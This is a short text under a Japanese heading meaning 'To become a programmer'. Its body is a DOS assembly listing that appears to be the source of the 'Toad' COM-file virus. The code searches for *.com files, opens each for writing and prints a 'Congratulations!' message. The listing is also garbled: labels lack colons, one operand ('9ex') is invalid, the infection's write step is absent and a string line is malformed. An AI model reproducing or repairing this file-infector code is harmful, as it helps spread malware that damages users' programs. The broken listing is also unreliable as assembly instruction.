プログラマーになるために

code segment
assume cs:code,ds:code
org 100h
toad proc near

first_fly
mov ah,4eh
find_fly
xor cx,cx
lea dx,comsig
int 21h
jc wart_growth

open_fly
mov ax,3d02h
mov dx,9ex
int 21h

stitch_up
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly

wart_growth
mov ah,09h
mov dx,offset wart
int 21h

cya: int 20h

comsig db "*.com" ,0
wart db 'Congratulations!' ,10,13
db 'Have a Nice Day.' ,10,13 ' $'
horny label near
toad endp
code ends
end first_fly